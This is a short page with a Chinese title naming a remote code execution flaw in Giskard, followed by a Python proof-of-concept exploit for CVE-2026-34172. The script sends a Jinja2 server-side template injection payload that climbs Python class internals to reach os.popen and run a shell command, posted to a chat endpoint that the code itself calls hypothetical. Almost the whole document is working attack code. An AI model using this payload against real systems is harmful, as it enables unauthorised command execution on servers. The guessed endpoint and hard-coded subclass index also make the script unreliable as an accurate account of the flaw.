CVE-2026-34172 Giskard远程代码执行漏洞

# PoC for CVE-2026-34172: Giskard Jinja2 SSTI to RCE # This script demonstrates how a malicious payload can be injected into the vulnerable chat method. import requests def exploit(target_url): # The payload attempts to access the os module via Jinja2 class traversal # and execute the 'id' command. Adjust the subclass index based on the environment. # Common technique: {{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['system']('cmd') }} # A generic payload for RCE using Jinja2 payload = "{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('id').read() }}" # Hypothetical endpoint structure based on the library usage endpoint = f"{target_url}/chat/workflow" data = { "message": payload } try: response = requests.post(endpoint, json=data, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:8000" exploit(target)